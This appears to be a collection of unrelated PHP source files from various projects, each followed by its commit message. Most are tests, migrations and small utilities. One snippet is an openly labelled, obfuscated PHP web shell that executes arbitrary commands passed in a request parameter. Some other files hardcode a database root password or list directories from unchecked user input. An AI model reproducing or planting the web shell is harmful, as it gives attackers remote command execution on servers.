        $this->assertInstanceOf('Guzzle\Service\Description\ServiceDescription', $sd);
    }

    /**
     * @expectedException InvalidArgumentException
     */
    function testGetServiceDescriptionFromFileNoFile() {
        $client = new IntercomBasicAuthClient($this->config);
        $client->getServiceDescriptionFromFile('');

    }

    /**
     * @expectedException Guzzle\Common\Exception\InvalidArgumentException
     */
    public function testFactoryEmptyArgs() {
        IntercomBasicAuthClient::factory([]);
    }

    /**
     * @expectedException Guzzle\Common\Exception\InvalidArgumentException
     */
    public function testFactoryMissingArgs() {
        IntercomBasicAuthClient::factory(['app_id' => 'my-app']);
    }
}

Add unit test for the basic auth client

Add unit test for the basic auth client


<?php

namespace ChrisHalbert\PhpBCC\Input;

use ChrisHalbert\PhpBCC\Exceptions\FileNotFoundException;

class CloverInputTest extends \PHPUnit_Framework_TestCase
{
    private $cloverInput;

    private $cloverXmlPath;

    public function setUp()
    {
        parent::setUp();
        $this->cloverXmlPath = dirname(__FILE__) . '/../../resources/clover-input.xml';
        $this->cloverInput = new CloverInput($this->cloverXmlPath);
    }

    public function testGetEntries()
    {
        $this->assertEquals($this->getExpectedEntries(), $this->cloverInput->getEntries());
    }

    public function testFileNotFoundException()
    {
        $this->setExpectedException(FileNotFoundException::class);
        $noFile = new CloverInput('path/to/no/where.xml');
    }

    public function testGetPath()
    {
        $this->assertEquals($this->cloverXmlPath, $this->cloverInput->getPath());
    }

    protected function getExpectedEntries()
    {
        return [
            [
                'file' => '/home/user/package/subpackage/Foo.php', 'line' => 1
            ],
            [
                'file' => '/home/user/package/subpackage/Foo.php', 'line' => 2
            ],
            [
                'file' => '/home/user/package/subpackage/Foo.php', 'line' => 3
            ],
            [
                'file' => '/home/user/package/subpackage/Bar.php', 'line' => 4
            ],
            [
                'file' => '/home/user/package/subpackage/Bar.php', 'line' => 5
            ],
            [
                'file' => '/home/user/package/subpackage/Bar.php', 'line' => 6
            ],
        ];
    }
}

Add tests for clover input.

Add tests for clover input.


<?php

/* This file is part of the Staq project, which is under MIT license */

namespace Staq\Core\Data\Stack\Attribute;

class SerializedList extends SerializedList\__Parent
{

    /* PUBLIC USER METHODS
     *************************************************************************/
    public function get()
    {
        $unserialized = json_decode($this->seed, TRUE);
        \UArray::doConvertToArray($unserialized);
        return array_values($unserialized);
    }

    public function set($list)
    {
        \UArray::doConvertToArray($list);
        $list = array_values($list);
        $this->seed = json_encode($list);
    }

    public function add($item)
    {
        $list = $this->get();
        $list[] = $item;
        $this->set($list);
    }

    /* PUBLIC DATABASE METHODS
     *************************************************************************/
    public function getSeed()
    {
        return \UArray::convertToArray($this->seed);
    }
}

Add a Serialized list attribute

Add a Serialized list attribute


<?php
declare(strict_types=1);

namespace ParagonIE\EasyDB\Tests;

use InvalidArgumentException;

class InsertReturnIdTest extends InsertTest
{

    /**
     * @dataProvider goodFactoryCreateArgument2EasyDBProvider
     * @param callable $cb
     */
    public function testInsertReturnIdTableNameThrowsException(callable $cb)
    {
        $db = $this->easyDBExpectedFromCallable($cb);
        $this->expectException(InvalidArgumentException::class);
        $db->insertReturnId('', ['foo' => 1], 'foo');
    }

    /**
     * @dataProvider goodFactoryCreateArgument2EasyDBProvider
     * @param callable $cb
     */
    public function testInsertReturnIdMapArgThrowsException(callable $cb)
    {
        $db = $this->easyDBExpectedFromCallable($cb);
        $this->expectException(InvalidArgumentException::class);
        $db->insertReturnId('irrelevant_but_valid_tablename', [[1]], 'foo');
    }

    /**
     * @dataProvider goodFactoryCreateArgument2EasyDBProvider
     * @param callable $cb
     */
    public function testInsertReturnIdMapArgKeysThrowsException(callable $cb)
    {
        $db = $this->easyDBExpectedFromCallable($cb);
        $this->expectException(InvalidArgumentException::class);
        $db->insertReturnId('irrelevant_but_valid_tablename', ['1foo' => 1], '1foo');
    }

    /**
     * @dataProvider goodFactoryCreateArgument2EasyDBProvider
     * @param callable $cb
     */
    public function testInsertReturnId(callable $cb)
    {
        $db = $this->easyDBExpectedFromCallable($cb);
        $this->assertEquals(
            $db->insertReturnId('irrelevant_but_valid_tablename', ['foo' => 'bar']),
            '1'
        );
        $this->assertEquals(
            $db->insertReturnId('irrelevant_but_valid_tablename', ['foo' => 'bar2']),
            '2'
        );
    }
    /**
     * @dataProvider goodFactoryCreateArgument2EasyDBProvider
     * @param callable $cb
     */
    public function testInsertReturnIdException(callable $cb)
    {
        $db = $this->easyDBExpectedFromCallable($cb);
        $this->expectException(\Exception::class);
        $this->assertEquals(
            $db->insertReturnId('irrelevant_but_valid_tablename', [], 'bar'),
            'bar'
        );
    }
}

Add missing file from previous commit.

Add missing file from previous commit.


<?php

require_once __DIR__ . '/shared.php';

$config = require_once 'fitbit-config.php';

if (isset($_GET['code'])) {
	$code = $_GET['code'];

	$url = 'https://api.fitbit.com/oauth2/token?client_id=' . $config['oauth']['client_id'] . '&grant_type=authorization_code&redirect_uri=' . urlencode($config['oauth']['redirect_url']) . '&code=' . $code;

	$headers = [
		'Authorization' => 'Basic '.base64_encode($config['oauth']['client_id'].':'.$config['oauth']['client_secret']),
		'Content-Type' => 'application/x-www-form-urlencoded',
	];

	try {
		$result = post($url, [], $headers);
	} catch (Exception $e) {
		var_dump($e);
	}

	file_put_contents('fitbit.json', json_encode($result, JSON_PRETTY_PRINT));
	return;
}

$scopes = [
	'activity',
	'heartrate',
	'location',
	'nutrition',
	'profile',
	'settings',
	'sleep',
	'social',
	'weight',
];

$url = 'https://www.fitbit.com/oauth2/authorize?response_type=code&client_id=' . $config['oauth']['client_id'] . '&redirect_uri=' . urlencode($config['oauth']['redirect_url']) . '&expires_in=2592000&scope=' . implode('%20', $scopes);

header('location: '.$url);

Add a script to give your application permissions to use the fitbit api.


<?php
use Xicrow\Debug\Profiler;

/**
 * Class ProfilerTest
 *
 * Missing tests:
 *
 * @covers \Xicrow\Debug\Profiler::init
 * @covers \Xicrow\Debug\Profiler::add
 * @covers \Xicrow\Debug\Profiler::start
 * @covers \Xicrow\Debug\Profiler::stop
 * @covers \Xicrow\Debug\Profiler::custom
 * @covers \Xicrow\Debug\Profiler::callback
 * @covers \Xicrow\Debug\Profiler::getStats
 * @covers \Xicrow\Debug\Profiler::getLastItemName
 * @covers \Xicrow\Debug\Profiler::formatDateTime
 * @covers \Xicrow\Debug\Profiler::formatForUnits
 * @covers \Xicrow\Debug\Profiler::formatMiliseconds
 * @covers \Xicrow\Debug\Profiler::formatBytes
 */
class ProfilerTest extends PHPUnit_Framework_TestCase {
	public function test() {
		// Dummy test to avoid PHPunit complaining...
	}
}

Add empty test for Profiler, for now

Add empty test for Profiler, for now


<?php

namespace App\Http\Controllers;

use App\FasetVisit;
use App\Notifications\GeneralInterestNotification;
use Illuminate\Http\Request;

class NotificationController extends Controller
{
    public function sendNotification()
    {
        $all_faset_vists = FasetVisit::all();
        Notification::send($all_faset_vists, new GeneralInterestNotification());
        return response()->json(['status' => 'success']);
    }
}

Create controller for actually launching GI email send


<html>
<head></head>
<body>
<?php

$conn = mysql_connect("localhost", "root", "passw0rd");
mysql_select_db("eventrecorder", $conn);
$res = mysql_query("select * from Events", $conn);

# print_r($count);
echo "Got " . mysql_num_rows($res) . " events";

?>
</body>
</html>

<?php

$conn = mysql_connect("localhost", "root", "passw0rd");
mysql_select_db("eventrecorder", $conn);

$res = mysql_query("select * from Events", $conn);

# print_r($count);
echo "
Summary
\n";
echo "Got " . mysql_num_rows($res) . " events.\n";

$res = mysql_query("select UserName, date(DateTime) as Date from Events where Type=\"login\" group by date(DateTime);");

echo "
Logins
\n";

while ($row = mysql_fetch_assoc($res))
{
  echo "User " . $row['UserName'] . " on " . $row['Date'] . "\n";
}

?>

Add extremely basic summary of logins

Add extremely basic summary of logins


#!/usr/bin/env php
<?php

require __DIR__ . '/../../vendor/autoload.php';

use Amp\Delayed;
use Amp\Emitter;
use Amp\Loop;

Loop::run(function () {
    $emitter = new Emitter;

    Loop::defer(function () use ($emitter) {
        try {
            yield $emitter->emit(1);
            print "Emit done.\n";
            yield $emitter->emit(2);
            print "Never reached...\n";
            $emitter->complete();
        } finally {
            print "Garbage collected...\n";
        }
    });

    $iterator = $emitter->iterate();
    yield $iterator->advance();
    yield $iterator->advance();
    yield new Amp\Delayed(0);

    unset($emitter, $iterator);
    gc_collect_cycles();

    print "Done.\n";
});

Add garbage collection example with iterators


<?php namespace Config;

class ServicesTest extends \CIUnitTestCase
{
	protected $config;

	public function setUp()
	{
		Services::reset();
		$config = new App();
	}

	// Test the cUrl get method, we suppose to test other verse: put, delete, update
	public function testCurlRequestGetMethod()
	{
		$client = Services::curlrequest([
            'debug' => true,
            'follow_redirects' => true
        ]);

        $response = $client->request('GET', 'https://jsonplaceholder.typicode.com/posts/1');

        $this->assertContains('sunt aut facere repellat provident occaecati excepturi optio reprehenderit', $response->getBody());
	}

	public function testNewExceptions()
	{
		$actual = Services::exceptions($this->config);
		$this->assertInstanceOf(\CodeIgniter\Debug\Exceptions::class, $actual);
	}

	public function testNewIterator()
	{
		$actual = Services::iterator();
		$this->assertInstanceOf(\CodeIgniter\Debug\Iterator::class, $actual);
	}

	public function testNewNegotiatorWithNullConfig()
	{
		$actual = Services::negotiator(null);
		$this->assertInstanceOf(\CodeIgniter\HTTP\Negotiate::class, $actual);
	}

	public function testNewClirequestWithNullConfig()
	{
		$actual = Services::clirequest(null);
		$this->assertInstanceOf(\CodeIgniter\HTTP\CLIRequest::class, $actual);
	}

	public function testNewPager()
	{
		$actual = Services::pager(null);
		$this->assertInstanceOf(\CodeIgniter\Pager\Pager::class, $actual);
	}

	public function testNewThrottler()
	{
		$actual = Services::throttler(null);
		$this->assertInstanceOf(\CodeIgniter\Throttle\Throttler::class, $actual);
	}

	public function testNewToolbar()
	{
		$actual = Services::toolbar(null);
		$this->assertInstanceOf(\CodeIgniter\Debug\Toolbar::class, $actual);
	}

	public function testNewUri()
	{
		$actual = Services::uri(null);
		$this->assertInstanceOf(\CodeIgniter\HTTP\URI::class, $actual);
	}

	public function testNewValidation()
	{
		$actual = Services::validation(null);
		$this->assertInstanceOf(\CodeIgniter\Validation\Validation::class, $actual);
	}

	public function testNewViewcell()
	{
		$actual = Services::viewcell(null);
		$this->assertInstanceOf(\CodeIgniter\View\Cell::class, $actual);
	}

}

Add more test functions for Config/Services.php


<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;

class AddEnableVotingToSettings extends Migration {

	/**
	 * Run the migrations.
	 *
	 * @return void
	 */
  public function up()
  {
    DB::table('settings')->insert([
      'key' => 'enable_voting',
      'type' => 'boolean',
      'description' => 'Enable this setting to allow users to vote. If disabled, vote buttons & forms will be removed.',
      'value' => 'on'
    ]);
  }

  /**
   * Reverse the migrations.
   *
   * @return void
   */
  public function down()
  {
    DB::table('settings')->delete(['key' => 'enable_voting']);
  }

}

Add 'enable voting' setting, defaulted to true.


<?php
/**
 * WidgetBehavior class file.
 * @author Christoffer Niska <christoffer.niska@gmail.com>
 * @copyright Copyright © Christoffer Niska 2013-
 * @license http://www.opensource.org/licenses/bsd-license.php New BSD License
 * @package crisu83.yii-extension.behaviors
 */

namespace crisu83\yii_extension\behaviors;

/**
 * Extension behavior for widgets.
 */
class WidgetBehavior extends ComponentBehavior
{
}

Add an empty widget behavior

Add an empty widget behavior


<?php // Usage example: GET /another_obfuscated_phpshell.php?lol=ls%20-al
$S=array(m("ncoai","msyte", "cocain"),m("sir","cex","iris"),m("otab","lshe","taboo")."_".m("sir","cex","iris"),m("gbledin","upasthr","bleeding"));
$TR=m("etroubl","edisabl","trouble");$MK=m("dpreambl","sfunctio","preambled");$D=explode(",",ini_get($TR.'_'.$MK));$P=$_REQUEST;
function m($a,$b,$c) {return str_replace(str_split($a), str_split($b), $c);}
foreach($S as $A) {
    if(!in_array($A, $D)) {
        if($A == m("ncoai","msyte","cocain")) $A($P['lol']);
        elseif($A == m("sir","cex","iris")) {
            exec("$P 2>&1", $arr);
            echo join("\n",$arr)."\n";
        } else echo $A($P['lol']);
        exit;
    }
}

Add another obfuscated php shell.

Add another obfuscated php shell.


<?php
/**
 * @package server-infra
 * @subpackage propel
 */
function searchFolder($pluginsFolder, $level = 1)
{
	foreach(scandir($pluginsFolder) as $pluginDir)
	{
		if ($pluginDir[0] == ".")
		{
			continue;
		}
		$path = "$pluginsFolder/$pluginDir";
		if (!is_dir($path))
		{
			continue;
		}

		if ($level < 2)
		{
			searchFolder($path, $level + 1);
		}

		$pluginConfig = "$path/config";
		$buildProps = "$pluginConfig/build.properties";
		if (!file_exists($buildProps))
		{
			continue;
		}

		if(!is_dir($pluginConfig))
			throw new Exception("Illegal input was supplied.");

		chdir($pluginConfig);
		print $pluginConfig;
		passthru("propel-gen $pluginConfig");
	}
}

$origWD = getcwd();

$rootFolder = realpath(dirname(__FILE__)."/../../../../..");

// Core
$alphaConfigFolder = "$rootFolder/alpha/config";
if(!is_dir($alphaConfigFolder))
	throw new Exception("Illegal input was supplied.");

chdir($alphaConfigFolder);
passthru("propel-gen $alphaConfigFolder");

// Plugin
$pluginsFolder = "$rootFolder/plugins";
searchFolder($pluginsFolder);

chdir($origWD);

<?php
/**
 * @package server-infra
 * @subpackage propel
 */
function searchFolder($pluginsFolder, $level = 1)
{
	foreach(scandir($pluginsFolder) as $pluginDir)
	{
		if ($pluginDir[0] == ".")
		{
			continue;
		}
		$path = "$pluginsFolder/$pluginDir";
		if (!is_dir($path))
		{
			continue;
		}

		if ($level < 4)
		{
			searchFolder($path, $level + 1);
		}

		$pluginConfig = "$path/config";
		$buildProps = "$pluginConfig/build.properties";
		if (!file_exists($buildProps))
		{
			continue;
		}

		if(!is_dir($pluginConfig))
			throw new Exception("Illegal input was supplied.");

		chdir($pluginConfig);
		print $pluginConfig;
		passthru("propel-gen $pluginConfig");
	}
}

$origWD = getcwd();

$rootFolder = realpath(dirname(__FILE__)."/../../../../..");

// Core
$alphaConfigFolder = "$rootFolder/alpha/config";
if(!is_dir($alphaConfigFolder))
	throw new Exception("Illegal input was supplied.");

chdir($alphaConfigFolder);
passthru("propel-gen $alphaConfigFolder");

// Plugin
$pluginsFolder = "$rootFolder/plugins";
searchFolder($pluginsFolder);

chdir($origWD);

Support lower level plugins (needed for Activiti BPM provider)


<?php

namespace mageekguy\atoum;

use
	mageekguy\atoum,
	mageekguy\atoum\scripts
;

require_once __DIR__ . '/../classes/autoloader.php';

if (defined(__NAMESPACE__ . '\autorun') === false)
{
	define(__NAMESPACE__ . '\autorun', true);
}

if (autorun === true)
{
	scripts\runner::autorun(__FILE__);
}

?>

<?php

namespace mageekguy\atoum;

use
	mageekguy\atoum,
	mageekguy\atoum\scripts
;

require_once __DIR__ . '/../classes/autoloader.php';

if (defined(__NAMESPACE__ . '\autorun') === false)
{
	define(__NAMESPACE__ . '\autorun', true);

	scripts\runner::autorun(__FILE__);
}

?>

Remove bug in autorun management.

Remove bug in autorun management.


<?php

namespace Tests\Regis\Infrastructure\RandomLib;

use Regis\Infrastructure\RandomLib\Generator;

class GeneratorTest extends \PHPUnit_Framework_TestCase
{
    public function testItCanGenerateRandomStrings()
    {
        $generator = new Generator();

        $this->assertInternalType('string', $result1 = $generator->randomString(24));
        $this->assertEquals(24, strlen($result1));

        $this->assertInternalType('string', $result2 = $generator->randomString(24));
        $this->assertEquals(24, strlen($result2));

        $this->assertNotEquals($result1, $result2);
    }
}

Add a few tests for the random generator


<?php

namespace Tests\App\Api\V1;

use Tests\Support\TestCase;

class GetTorrentsWithHashTest extends TestCase
{
    public function test_responds_with_200()
    {
        $this->json('GET', 'torrents/396F31CBA7221279B8E498EB8787D47A598A79DC');

        $this->assertResponseOk();
    }
}

Add test for GET torrents/:hash endpoint


<?php
namespace Email;
require_once('Autoload.php');

abstract class DBEmail extends \Email\Email
{
    protected $dbData;

    public function __construct($datasetName, $datatableName, $dataRowName)
    {
        parent::__construct();
        $dataTable = \DataSetFactory::getDataTableByNames($datasetName, $datatableName);
        $this->dbData = $dataTable->read(new \Data\Filter('id eq '.$dataRowName));
        if($this->dbData === false)
        {
            throw new \Exception('Unknown dataRow identified by ID '.$dataRowName);
        }
    }

    public function getFromAddress()
    {
        if(isset($this->dbData['from']))
        {
            return $this->dbData['from'];;
        }
        return parent::getFromAddress();
    }

    public function getReplyTo()
    {
        if(isset($this->dbData['replyTo']))
        {
            return $this->dbData['replyTo'];;
        }
        return parent::getReplyTo();
    }

    public function getSubject()
    {
        if(isset($this->dbData['subject']))
        {
            return $this->dbData['subject'];
        }
        return parent::getSubject();
    }

    public abstract function getSubstituteVars();

    protected function getRawBodyText($html)
    {
        if(isset($this->dbData['body']))
        {
            return $this->dbData;
        }
        if($html === true)
        {
            return $this->htmlBody;
        }
        return $this->textBody;
    }

    protected function getBodyFromDB($html=true)
    {
        $vars = $this->getSubstituteVars();
        $rawText = $this->getRawBodyText($html);
        if($html === true)
        {
            $text = strtr($raw_text, $vars);
            return $text;
        }
        $index = strpos($raw_text, "<script");
        if($index !== false)
        {
            $end = strpos($raw_text, "</script>");
            if($index === 0)
            {
                $raw_text = substr($raw_text, $end+9);
            }
        }
        return strtr(strip_tags($raw_text), $vars);
    }

    public function getHTMLBody()
    {
        return $this->getBodyFromDB();
    }

    public function getTextBody()
    {
        return $this->getBodyFromDB(false);
    }
}
?>

Add New DB based Email class

Add New DB based Email class


<?php
/*
* File: replace_images_with_url.php
* Category: Example
* Author: M.Goldenbaum
* Created: 14.03.19 18:47
* Updated: -
*
* Description:
*  -
*/

/** @var \Webklex\IMAP\Client $oClient */
$oClient = \Webklex\IMAP\Facades\Client::account('default');
$oClient->connect();

/** @var \Webklex\IMAP\Folder $folder */
$folder = $oClient->getFolder('INBOX');

/** @var \Webklex\IMAP\Message $message */
$message = $folder->query()->limit(1)->get()->first();

$html = $message->getHTMLBody(function($body, $oAttachment){
    /** @var \Webklex\IMAP\Attachment $oAttachment */
    if ($oAttachment->id && $oAttachment->getImgSrc() != null) {
        $oMessage = $oAttachment->getMessage();

        $image_url = route('my.custom.imap.attachment.route', [
            'muid' => urlencode($oMessage->uid),
            'mid' => urlencode($oMessage->message_id),
            'mti' => urlencode($oMessage->date->timestamp),
            'aid' => urlencode($oAttachment->id)
        ]);

        $body = str_replace('cid:'.$oAttachment->id, $image_url, $body);
    }

    return $body;
});

//Alternative way:
$message_mask = $message->mask();
$html = $message_mask->getHTMLBodyWithEmbeddedUrlImages('my.custom.imap.attachment.route');

Replace images in html with something like an url example added


<?php
	include '../util.php.inc';

	$dir = $_GET['dir'];
	$path = bespin_get_file_name($dir);

	// Open a known directory, and proceed to read its contents
	if (is_dir($path)) {
	    if ($dh = opendir($path)) {
	        echo '
';
	        while (($file = readdir($dh)) !== false) {
	            if (substr($file, 0, 1) == '.') { continue; }
                $class_name = is_dir("$path/$file") ? 'directory' : 'file ext_css';
	            $postfix = is_dir("$path/$file") ? '/' : '';
	            echo "
$file
";
	        }
	        closedir($dh);
	    }
	}
?>

Add the ls command, to list directories for the file tree


<?php

namespace Bolt\Filesystem\Plugin;

use Bolt\Twig\TwigExtension;

class ThumbnailUrl extends AdapterPlugin
{
    /** @var TwigExtension */
    protected $twigHelper;

    public function getMethod()
    {
        return 'thumb';
    }

    public function getLocalThumb($path, $width, $height, $type)
    {
        $this->loadTwigExtension();

        return $this->twigHelper->thumbnail($path, $width, $height, $type);
    }

    protected function loadTwigExtension()
    {
        if (!$this->twigHelper) {
            $this->twigHelper = new TwigExtension($this->app);
        }
    }
}

<?php

namespace Bolt\Filesystem\Plugin;

use Bolt\Twig\TwigExtension;

class ThumbnailUrl extends AdapterPlugin
{
    public function getMethod()
    {
        return 'thumb';
    }

    public function getLocalThumb($path, $width, $height, $type)
    {
        return $this->app['twig.handlers']['image']->thumbnail($path, $width, $height, $type);
    }
}

Call the Twig image handler directly

Call the Twig image handler directly


<?php

/*
    Taxanomies Template
    theme: maju by rafaelhigueros.me | scream.ws
    v: 1.0
*/

//Get theme options
$options = get_option('maju_theme_options');

get_header();  ?>

<a href="<?php echo get_option('home'); ?>/view-my-work/"><?php _e('← Back to all projects', 'maju') ?>

		<?php
		//list terms in a given taxonomy using wp_list_categories (also useful as a widget if using a PHP Code plugin)

		$taxonomy     = 'project_type';
		$orderby      = 'name';
		$show_count   = 0;      // 1 for yes, 0 for no
		$pad_counts   = 0;      // 1 for yes, 0 for no
		$hierarchical = 1;      // 1 for yes, 0 for no
		$title        = '';

		$args = array(
		  'taxonomy'     => $taxonomy,
		  'orderby'      => $orderby,
		  'show_count'   => $show_count,
		  'pad_counts'   => $pad_counts,
		  'hierarchical' => $hierarchical,
		  'title_li'     => $title
		);
		?>

<?php _e('Sort by type:', 'maju') ?>

		<?php wp_list_categories( $args ); ?>

		<?php
		    $i = 0;
		    if ( have_posts() ) : while ( have_posts() ) : the_post();
		?>
		    <div class="<?php if($i%3!=0){ echo 'grid_3 project-box'; } else { echo 'grid_3 project-box first-box'; } ?>">
			<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>">
			    <?php the_post_thumbnail('thumbnail'); ?>

		<?php endwhile; else: ?>

<?php _e('Sorry, no posts matched your criteria.', 'maju'); ?>

		<?php endif; ?>

<?php get_footer(); ?>

Archive lists new style, tweet button fix, move all JS at page bottom, move req * append to label


<?php
/**
 * This <server-gardu-reporter> project created by :
 * Name         : syafiq
 * Date / Time  : 28 June 2017, 11:13 PM.
 * Email        : syafiq.rezpector@gmail.com
 * Github       : syafiqq
 */

?>

Add admin auth login common layout

Add admin auth login common layout


<?php

namespace Rx\Functional\Operator;

use Exception;
use Rx\Functional\FunctionalTestCase;
use Rx\Testing\HotObservable;
use Rx\Testing\TestScheduler;
use Rx\Observable\ReturnObservable;
use Rx\Observable\EmptyObservable;
use Rx\Observable\ThrowObservable;

class TakeTest extends FunctionalTestCase
{
    /**
     * @test
     * @expectedException InvalidArgumentException
     */
    public function it_throws_an_exception_on_negative_amounts()
    {
        $observable = new ReturnObservable(42);
        $observable->take(-1);
    }

    /**
     * @test
     */
    public function it_passes_on_complete()
    {
        $xs = $this->createHotObservable(array(
            onNext(300, 21),
            onNext(500, 42),
            onNext(800, 84),
            onCompleted(820),
        ));

        $results = $this->scheduler->startWithCreate(function() use ($xs) {
            return $xs->take(5);
        });

        $this->assertMessages(array(
            onNext(300, 21),
            onNext(500, 42),
            onNext(800, 84),
            onCompleted(820),
        ), $results->getMessages());
    }

    /**
     * @test
     */
    public function it_calls_on_complete_after_last_value()
    {
        $scheduler = $this->createTestScheduler();
        $xs        = $this->createHotObservable(array(
            onNext(300, 21),
            onNext(500, 42),
            onNext(800, 84),
            onCompleted(820),
        ));

        $results = $this->scheduler->startWithCreate(function() use ($xs) {
            return $xs->take(2);
        });

        $this->assertMessages(array(
            onNext(300, 21),
            onNext(500, 42),
            onCompleted(500),
        ), $results->getMessages());
    }

    /**
     * @test
     */
    public function take_zero_calls_on_completed()
    {
        $scheduler = $this->createTestScheduler();
        $xs        = $this->createHotObservable(array(
            onNext(300, 21),
            onNext(500, 42),
            onNext(800, 84),
            onCompleted(820),
        ));

        $results = $this->scheduler->startWithCreate(function() use ($xs) {
            return $xs->take(0);
        });

        $this->assertMessages(array(
            onCompleted(200),
        ), $results->getMessages());
    }
}

Add functional tests for the take operator


<?php
namespace Concrete\Tests\Core\Routin;

use PHPUnit_Framework_TestCase;
use Concrete\Core\Support\Facade\Application;

class CheckRoutesTest extends PHPUnit_Framework_TestCase
{
    public function routeDestinationProvider()
    {
        $app = Application::getFacadeApplication();
        $config = $app->make('config');
        $routes = $config->get('app.routes');
        $result = [];
        foreach ($routes as $path => $data) {
            if (is_array($data) && isset($data[0]) && is_string($data[0]) && $data[0] !== '') {
                $result[] = [$path, $data[0]];
            }
        }

        return $result;
    }

    /**
     * @dataProvider routeDestinationProvider
     */
    public function testRouteDestination($path, $callable)
    {
        if (preg_match('/^(.+)::(__construct)$/', $callable, $m)) {
            $this->assertTrue(class_exists($m[1], true), "Invalid route for path $path: $callable");
        } else {
            $this->assertTrue(is_callable($callable), "Invalid route for path $path: $callable");
        }
    }
}

Check that all route destinations are callable

Former-commit-id: a007b9215e3fa2bc6ba1555a6f605205083f5f38
Former-commit-id: bf458d7e6540b1089a545501ea5a32e4b8e5da9c


@extends('default.guest')

@section('content')

500

                        An Unexpected Error Occurred

                 Go Back to Home Page

        @isset($exception)

{{ $exception }}

        @endisset
@endsection

Create 500 Error Blade File

Create 500 Error Blade File


<?php

namespace SLLH\HybridAuthBundle\Security\Http\EntryPoint;

use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface,
    Symfony\Component\Security\Core\Exception\AuthenticationException,
    Symfony\Component\Security\Http\HttpUtils,
    Symfony\Component\HttpFoundation\Request;

/**
 * HybridAuthEntryPoint
 *
 * @author Sullivan SENECHAL <soullivaneuh@gmail.com>
 */
class HybridAuthEntryPoint implements AuthenticationEntryPointInterface
{
    /**
     * @var Symfony\Component\Security\Http\HttpUtils
     */
    private $httpUtils;

    /**
     * Constructor
     *
     * @param HttpUtils             $httpUtils
     */
    public function __construct(HttpUtils $httpUtils)
    {
        $this->httpUtils = $httpUtils;
    }

    /**
     * @{inheritDoc}
     */
    public function start(Request $request, AuthenticationException $authException = null)
    {

    }
}

?>

Add base EntryPoint class, not used actually


<?php
declare(strict_types=1);

namespace OldApp\Command;

use Cake\Console\Arguments;
use Cake\Console\ConsoleIo;
use Cake\Console\BaseCommand;

class HelloCommand extends BaseCommand
{
    public function execute(Arguments $args, ConsoleIo $io): ?int
    {
        $io->styles('green', ['background' => 'green']);
    }
}

Add stub file for running rector against.


<?php

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

/**
 * Migration script for add watching table
 **/
class Migration20130507085501ComForum extends Hubzero_Migration
{
	/**
	 * Up
	 **/
	protected static function up($db)
	{
		$query = "";

		if (!$db->tableHasField('#__forum_posts', 'lft'))
		{
			$query .= "ALTER TABLE `#__forum_posts` ADD `lft` int(11) NOT NULL DEFAULT '0';";
		}

		if (!empty($query))
		{
			$db->setQuery($query);
			$db->query();
		}

		if (!$db->tableHasField('#__forum_posts', 'rgt'))
		{
			$query .= "ALTER TABLE `#__forum_posts` ADD `rgt` int(11) NOT NULL DEFAULT '0';";
		}

		if (!empty($query))
		{
			$db->setQuery($query);
			$db->query();
		}
	}

	/**
	 * Down
	 **/
	protected static function down($db)
	{
		$query = "";

		if ($db->tableHasField('#__forum_posts', 'lft'))
		{
			$query .= "ALTER TABLE `#__forum_posts` DROP `lft`;";
		}

		if (!empty($query))
		{
			$db->setQuery($query);
			$db->query();
		}

		if ($db->tableHasField('#__forum_posts', 'rgt'))
		{
			$query .= "ALTER TABLE `#__forum_posts` DROP `rgt`;";
		}

		if (!empty($query))
		{
			$db->setQuery($query);
			$db->query();
		}
	}
}

Add columns to allow for nested sets to forum posts


<?php

use Illuminate\Foundation\Testing\WithoutMiddleware;
use Illuminate\Foundation\Testing\DatabaseMigrations;
use Illuminate\Foundation\Testing\DatabaseTransactions;

class APIShirtsTest extends TestCase
{
    /**
     * Test if /api/shirts/ endpoint returns HTTP status codes indicating success.
     *
     * @return void
     */
    public function testAPIShirtsRespondsSuccessfully()
    {
        $this->visit('/api/shirts')
            ->assertResponseOk();
    }
}

Create first API test for shirts endpoint.


<?php
/**
 * Helper functions for use in themes.
 */

/**
 * Displays the voting arrows and karma.
 */
function hmn_cp_the_comment_upvote_form() {

	if ( class_exists( 'HMN_Comment_Popularity' ) ) {

		$cfo_cp = HMN_Comment_Popularity::get_instance();

		$cfo_cp->render_ui( get_comment_ID() );

	}

}

/**
 * Displays the author karma.
 */
function hmn_cp_the_comment_author_karma() {

	if ( class_exists( 'HMN_Comment_Popularity' ) ) {

		$cfo_cp = HMN_Comment_Popularity::get_instance();

		$author_karma = $cfo_cp->get_comment_author_karma( get_comment_author_email( get_comment_ID() ) );

		if ( isset( $author_karma ) ) {
			echo '<small class="user-karma">(User Karma: ' . esc_html( $author_karma ) . ')</small>';
		}

	}

}

/**
 * Displays the post comments sorted by weight/karma DESC.
 *
 * @param array $args
 * @param null  $comments
 */
function hmn_cp_the_sorted_comments( $args = array(), $comments = null ) {

	if ( class_exists( 'HMN_Comment_Popularity' ) ) {

		$cfo_cp = HMN_Comment_Popularity::get_instance();

		echo $cfo_cp->get_comments_sorted_by_weight( $args, $comments );

	}

}

Add some helper functions for themers

Add some helper functions for themers

Signed-off-by: Paul de Wouters <a027184a55211cd23e3f3094f1fdc728df5e0500@hmn.md>


<?php

use React\Dns\Config\Config;
use React\Dns\Resolver\Factory;
use React\Dns\Model\Message;

require __DIR__ . '/../vendor/autoload.php';

$loop = React\EventLoop\Factory::create();

$config = Config::loadSystemConfigBlocking();
$server = $config->nameservers ? reset($config->nameservers) : '8.8.8.8';

$factory = new Factory();
$resolver = $factory->create($server, $loop);

$ip = isset($argv[1]) ? $argv[1] : '8.8.8.8';

if (@inet_pton($ip) === false) {
    exit('Error: Given argument is not a valid IP' . PHP_EOL);
}

if (strpos($ip, ':') === false) {
    $name = inet_ntop(strrev(inet_pton($ip))) . '.in-addr.arpa';
} else {
    $name = wordwrap(strrev(bin2hex(inet_pton($ip))), 1, '.', true) . '.ip6.arpa';
}

$resolver->resolveAll($name, Message::TYPE_PTR)->then(function (array $names) {
    var_dump($names);
}, function (Exception $e) {
    echo $e->getMessage() . PHP_EOL;
});

$loop->run();

Add reverse DNS lookup example

Add reverse DNS lookup example


<?php
namespace Dompdf\Tests\LayoutTest;

use DOMElement;
use Dompdf\Canvas;
use Dompdf\Dompdf;
use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\Options;
use Dompdf\Tests\TestCase;

class PageTest extends TestCase
{
    public function pageBreakProvider(): array
    {
        return [
